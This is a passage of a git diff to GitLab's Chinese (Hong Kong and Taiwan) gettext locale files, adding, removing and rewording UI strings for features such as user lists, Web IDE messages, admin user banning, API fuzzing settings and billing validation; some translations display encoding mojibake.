+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -34920,6 +35615,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -34941,6 +35639,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr "該階段的數據ä¸è¶³ï¼Œç„¡æ³•é¡¯ç¤ºã€‚"
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "ç¶²é  IDE"
@@ -35693,16 +36394,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -35979,6 +36677,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36087,6 +36788,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36516,6 +37235,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36627,9 +37349,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -36984,9 +37715,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37183,9 +37911,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -37832,7 +38599,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -37992,9 +38762,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38022,10 +38789,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38067,9 +38831,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38085,12 +38846,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "æ到"
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38489,6 +39256,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38612,6 +39385,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/zh_TW/gitlab.po b/locale/zh_TW/gitlab.po
index 7654046529f..c73e9cfadc5 100644
--- a/locale/zh_TW/gitlab.po
+++ b/locale/zh_TW/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-TW\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:17\n"
+"PO-Revision-Date: 2021-06-01 20:33\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d 層"
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}群組%{group_docs_link_end} å…許您管ç†ã€å”作多個項目。群組的æˆå“¡å¯ä»¥å­˜å–群組下的所有項目。"
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,10 +593,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}了解更多%{link_end} 關於角色權é™"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -732,6 +733,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -779,9 +786,6 @@ msgstr "%{state} å²è©©"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -886,9 +890,15 @@ msgstr "%{userName} (無法åˆä½µ)"
msgid "%{userName}'s avatar"
msgstr "%{userName} 的大頭貼"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "%{user_name} 的個人資料"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -952,9 +962,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr "「%{source}ã€ä¸æ˜¯ä¸€å€‹åŒ¯å…¥ä¾†æº"
@@ -1260,6 +1267,9 @@ msgstr "在網域驗證之å‰ï¼Œæˆ‘們無法å–å¾— Encrype SSL 憑證。"
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "將會使用您的電å­ä¿¡ç®±ä½å€è¨­å®šæ­¤ GitLab 實體的 Let's Encrypt 帳戶。您會收到警告您憑證å³å°‡åˆ°æœŸçš„é›»å­éƒµä»¶ã€‚"
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "使用 AWS Lambdaã€AWS API é–˜é“åŠ GitLab Pages 的基本é é¢å’Œç„¡ä¼ºæœå™¨åŠŸèƒ½"
@@ -1281,6 +1291,9 @@ msgstr "已刪除的使用者"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "專案能讓您存放檔案(版本庫)ã€å®‰æŽ’計畫(議題),åŠç™¼å¸ƒæ–‡ä»¶ (Wiki),%{among_other_things_link}。"
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "一個用於識別外部儲存請求的安全權æ–。"
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,30 +1462,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "AWS å­˜å–金鑰"
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "加入項目清單"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "管ç†ä¸­å¿ƒ"
@@ -2226,9 +2245,6 @@ msgstr "環境變數é è¨­å—ä¿è­·"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr "沒有強制性的æµæ°´ç·š"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "強制æµæ°´ç·šè¨­å®š"
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr "設定實體範åœè‡ªå‹•åŒ…å«çš„ %{link_start}æµæ°´ç·šè¨­å®š%{link_end}。此æµæ°´ç·šè¨­å®šå°‡åœ¨å°ˆæ¡ˆæœ¬èº«çš„設定後執行。"
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "為æ¯å€‹å°ˆæ¡ˆçš„自動審閱應用程å¼åŠè‡ªå‹•éƒ¨ç½²éšŽæ®µï¼ŒæŒ‡å®šé è¨­ä½¿ç”¨çš„網域。"
@@ -2316,6 +2326,9 @@ msgstr "程å¼ç¢¼ç‰‡æ®µ"
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2334,6 +2347,9 @@ msgstr "未啟用兩步驟驗證"
msgid "AdminUsers|2FA Enabled"
msgstr "已啟用兩步驟驗證"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2382,6 +2398,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2412,6 +2443,9 @@ msgstr "無法解除å°éŽ– LDAP å°éŽ–的使用者"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "å‡çµ"
@@ -2466,6 +2500,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr "這就是你ï¼"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2547,6 +2584,15 @@ msgstr "請輸入 %{projectName} 來確èª"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "請輸入 %{username} 來確èª"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "ä½¿ç”¨è€…å°‡ç„¡æ³•å­˜å– git 版本庫"
@@ -2574,6 +2626,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2598,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2610,6 +2668,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2655,9 +2716,6 @@ msgstr "進階"
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "警示"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3067,9 +3122,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "從範本或匯入時為空白專案將啟用所有功能,但å¯ä»¥ä¹‹å¾Œåœ¨å°ˆæ¡ˆè¨­å®šä¸­å°‡å…¶åœç”¨ã€‚"
-
msgid "All groups and projects"
msgstr "所有群組和專案"
@@ -3172,6 +3224,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "åªå…許頂層群組使用電å­éƒµä»¶ç¶²åŸŸé™åˆ¶"
@@ -3385,6 +3440,9 @@ msgstr "抓å–標籤é¡è‰²æ™‚發生錯誤。"
msgid "An error occurred while fetching markdown preview"
msgstr "æŠ“å– Markdown é è¦½æ™‚發生錯誤"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr "載入議題時發生錯誤"
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,7 +3605,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr "é‡æ–°æŽ’åºè­°é¡Œæ™‚發生錯誤。"
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4019,6 +4074,9 @@ msgstr "核准人"
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "4月"
@@ -4049,16 +4107,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "已歸檔專案ï¼ç‰ˆæœ¬åº«å’Œå…¶ä»–專案資æºå‡ç‚ºå”¯è®€"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "已歸檔專案ï¼ç‰ˆæœ¬åº«å’Œå…¶ä»–專案資æºå‡ç‚ºå”¯è®€"
msgid "Archived projects"
msgstr "歸檔專案"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -4892,6 +4956,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -4925,6 +4995,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
